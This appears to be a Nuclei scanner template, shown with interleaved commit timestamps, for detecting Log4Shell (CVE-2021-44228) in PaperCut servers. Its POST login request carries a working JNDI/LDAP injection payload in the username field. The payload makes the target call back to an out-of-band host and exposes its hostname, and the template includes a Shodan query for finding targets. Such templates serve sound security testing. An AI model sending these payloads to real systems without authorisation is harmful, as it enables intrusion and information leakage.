2023-10-18 20:00:15 +00:00
|
|
|
id: papercut-log4j-rce
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Papercut - Remote Code Execution (Apache Log4j)
|
2023-10-19 07:28:29 +00:00
|
|
|
author: shaikhyaser
|
2023-10-18 20:00:15 +00:00
|
|
|
severity: critical
|
|
|
|
description: |
|
|
|
|
Papercut is susceptible to Log4j JNDI remote code execution. Papercut is a print management system.
|
|
|
|
reference:
|
|
|
|
- https://www.papercut.com/kb/Main/Log4Shell-CVE-2021-44228#product-status
|
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10
|
|
|
|
cve-id: CVE-2021-44228
|
|
|
|
cwe-id: CWE-77
|
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-10-23 12:22:20 +00:00
|
|
|
shodan-query: title:"Papercut"
|
2023-10-18 20:00:15 +00:00
|
|
|
tags: cve,cve2021,rce,jndi,log4j,papercut,oast,kev
|
|
|
|
variables:
|
|
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
|
|
rand2: '{{rand_int(111, 999)}}'
|
2023-10-19 07:28:29 +00:00
|
|
|
str: "{{rand_base(5)}}"
|
2023-10-18 20:00:15 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /app HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Origin: {{RootURL}}
|
|
|
|
Referer: {{RootURL}}/app
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
2023-10-19 07:28:29 +00:00
|
|
|
service=direct%2F1%2FHome%2F%24Form&sp=S0&Form0=%24Hidden%240%2C%24Hidden%241%2CinputUsername%2CinputPassword%2C%24Submit%240%2C%24PropertySelection&%24Hidden%240=true&%24Hidden%241=X&inputUsername=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&inputPassword=a&%24Submit%240=Log+in&%24PropertySelection=en
|
2023-10-18 20:00:15 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: interactsh_protocol #Confirms the DNS Interaction
|
|
|
|
words:
|
|
|
|
- "dns"
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
part: interactsh_request
|
|
|
|
regex:
|
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: kval
|
|
|
|
kval:
|
|
|
|
- interactsh_ip
|
|
|
|
|
|
|
|
- type: regex
|
2023-10-23 07:07:51 +00:00
|
|
|
part: interactsh_request
|
2023-10-18 20:00:15 +00:00
|
|
|
group: 2
|
|
|
|
regex:
|
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
|
|
|
|
|
|
|
- type: regex
|
2023-10-23 07:07:51 +00:00
|
|
|
part: interactsh_request
|
2023-10-18 20:00:15 +00:00
|
|
|
group: 1
|
|
|
|
regex:
|
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
2023-10-23 12:51:13 +00:00
|
|
|
|
|
|
|
# digest: 4b0a00483046022100b0c184b36bc0c5c938db3f19bec3fa06eb4614fe5737f79eeecde18a0b0dd4f3022100a8e3a5165d54874bd7569302e822223e3b5d571ca84edbee85bd274c4e965cf3:922c64590222798bb761d5b6d8e72950
|